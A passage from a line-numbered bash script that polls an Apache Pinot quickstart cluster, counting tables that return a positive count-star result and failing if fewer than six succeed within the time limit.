^[0-9]+$ ]] && [ "${COUNT_STAR_RES}" -gt 0 ]; then 70 | SUCCEED_TABLE=$((SUCCEED_TABLE+1)) 71 | fi 72 | fi 73 | echo "QUERY: ${QUERY}, QUERY_RES: ${QUERY_RES}" 74 | done 75 | echo "SUCCEED_TABLE: ${SUCCEED_TABLE}" 76 | if [ "${SUCCEED_TABLE}" -eq 6 ]; then 77 | break 78 | fi 79 | sleep 4 80 | done 81 | 82 | if [ "${SUCCEED_TABLE}" -lt 6 ]; then 83 | echo 'Quickstart failed: Cannot confirmed count-star result from quickstart table in 10 minutes' 84 | exit 1 85 | fi 86 | echo "Pinot cluster started correctly" 87 | --------------------------------------------------------------------------------